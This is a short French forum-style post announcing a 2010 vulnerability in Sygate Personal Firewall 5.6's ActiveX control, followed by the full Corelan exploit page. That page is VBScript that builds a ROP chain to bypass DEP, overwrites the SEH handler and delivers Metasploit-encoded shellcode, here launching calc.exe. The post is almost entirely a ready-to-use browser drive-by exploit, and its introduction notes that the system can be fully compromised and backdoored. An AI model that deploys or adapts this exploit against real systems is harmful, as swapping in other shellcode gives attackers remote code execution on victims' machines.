Une jolie corruption du firewall Sygate a été révélée le 11 juin. Par le biais d'ActiveX un shellcode (MSF) est injectable. Celui de l'exemple lance le très célèbre "calc.exe". Par ce biais, le système complet pour être corrompu, altéré et backdooré.
- Code: Tout sélectionner
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# Software : Sygate Personal Firewall 5.6 build 2808 ActiveX w/ DEP bypass
# Author : Lincoln
# Date : June 11, 2010
# Reference : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-050
# OS : Windows
# Tested on : XP SP3 En (VirtualBox)
# Type of vuln : SEH
# Greetz to : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
# Bad Chars: 80-9f (makes for extra fun)
# Tested on IE 7/6 , nop slide used
#
#
-->
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' ></object>
<script language='vbscript'>
seh = unescape("%13%16%47%06") '#ADD ESP,46C # RETN
rop = rop + String(72, "D") '#Junk
rop = rop + unescape("%19%16%47%06") '#Nop
rop = rop + unescape("%19%16%47%06") '#Nop
rop = rop + unescape("%19%16%47%06") '#Nop
rop = rop + unescape("%19%16%47%06") '#Nop
rop = rop + unescape("%19%16%47%06") '#Nop
rop = rop + unescape("%19%16%47%06") '#Nop
rop = rop + unescape("%19%16%47%06") '#Nop
'#edx
rop = rop + unescape("%33%b6%44%06") '#POP EBP # RETN
rop = rop + unescape("%01%c0%4b%06")
rop = rop + unescape("%65%b9%47%06") '#MOV EDX,EBP # POP REGISTERS CHAIN #RETN
'#alignment
rop = rop + unescape("%7c%bd%47%06") '#POP data into registers
rop = rop + unescape("%49%50%45%06")
rop = rop + unescape("%41%41%41%41")
rop = rop + unescape("%ff%ff%ff%ff")
rop = rop + unescape("%50%50%50%50")
'#ebx
rop = rop + unescape("%b2%7d%48%06") '#ADD EAX,80 # POP EBP # RETN
rop = rop + unescape("%41%41%41%41") '#Junk
rop = rop + unescape("%b2%7d%48%06") '#ADD EAX,80 # POP EBP # RETN
rop = rop + unescape("%41%41%41%41") '#Junk
rop = rop + unescape("%b2%7d%48%06") '#ADD EAX,80 # POP EBP # RETN
rop = rop + unescape("%41%41%41%41") '#Junk
rop = rop + unescape("%d9%c4%47%06") '#ADD EBX,EAX # PUSH 1 # POP EAX # RETN
'#ebp
rop = rop + unescape("%dd%c4%47%06") '#POP EAX # RETN
rop = rop + unescape("%1f%73%d0%cc")
rop = rop + unescape("%ae%f5%47%06") '#SUB EAX,ECX # RETN
rop = rop + unescape("%30%14%45%06") '#MOV EBP,EAX # CALL ESI
'#esi
rop = rop + unescape("%22%cd%46%06") '#POP ESI # RETN
rop = rop + unescape("%ff%ff%ff%ff")
'#eax
rop = rop + unescape("%dd%c4%47%06") '#POP EAX # RETN
rop = rop + unescape("%63%72%d0%cc")
rop = rop + unescape("%ae%f5%47%06") '#SUB EAX,ECX # RETN
'#game over
rop = rop + unescape("%47%71%49%06") '#PUSHAD (throw it all on the stack baby!)
'[*] Using Msf::Encoder::Alpha2 with final size of 338 bytes cmd=calc.exe
sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49") & _
unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%45") & _
unescape("%58%30%41%31%50%41%42%6b%42%41%55%32%42%42%32%41") & _
unescape("%41%30%41%41%58%42%38%42%42%50%75%6d%39%39%6c%6d") & _
unescape("%38%57%34%77%70%67%70%33%30%4c%4b%63%75%75%6c%6c") & _
unescape("%4b%41%6c%75%55%64%38%55%51%4a%4f%4c%4b%42%6f%46") & _
unescape("%78%4e%6b%61%4f%77%50%65%51%78%6b%63%79%4c%4b%47") & _
unescape("%44%6e%6b%47%71%48%6e%65%61%59%50%6e%79%6c%6c%4f") & _
unescape("%74%4f%30%50%74%47%77%6a%61%5a%6a%54%4d%64%41%5a") & _
unescape("%62%68%6b%4a%54%55%6b%42%74%74%64%47%74%70%75%6b") & _
unescape("%55%6c%4b%61%4f%76%44%66%61%5a%4b%71%76%6c%4b%54") & _
unescape("%4c%72%6b%4c%4b%53%6f%77%6c%56%61%7a%4b%4e%6b%65") & _
unescape("%4c%6c%4b%77%71%38%6b%6b%39%43%6c%71%34%74%44%59") & _
unescape("%53%67%41%6f%30%63%54%6e%6b%63%70%70%30%4e%65%4b") & _
unescape("%70%61%68%36%6c%6c%4b%63%70%46%6c%4c%4b%54%30%77") & _
unescape("%6c%4c%6d%6e%6b%55%38%57%78%38%6b%36%69%6e%6b%6f") & _
unescape("%70%4e%50%73%30%75%50%55%50%6e%6b%33%58%77%4c%43") & _
unescape("%6f%50%31%59%66%65%30%33%66%6e%69%69%68%4f%73%4b") & _
unescape("%70%53%4b%42%70%30%68%4a%50%6e%6a%65%54%51%4f%52") & _
unescape("%48%6f%68%4b%4e%6c%4a%66%6e%33%67%4b%4f%6d%37%51") & _
unescape("%73%50%61%62%4c%70%63%56%4e%73%55%73%48%41%75%47") & _
unescape("%70%45")
junk = String(2814, "D") '3128
mjunk = String(25000, "A")
arg1=1
arg2=1
arg3= rop + sc + junk + seh + mjunk
arg4="defaultV"
arg5="defaultV"
target.SetRegString arg1 ,arg2 ,arg3 ,arg4 ,arg5
</script>
<b><center>Sygate Personal Firewall 5.6 build 2808 ActiveX exploit w/ DEP bypass</b></center>
</html>
Src:
- Code: Tout sélectionner
http://www.exploit-db.com/exploits/13834/
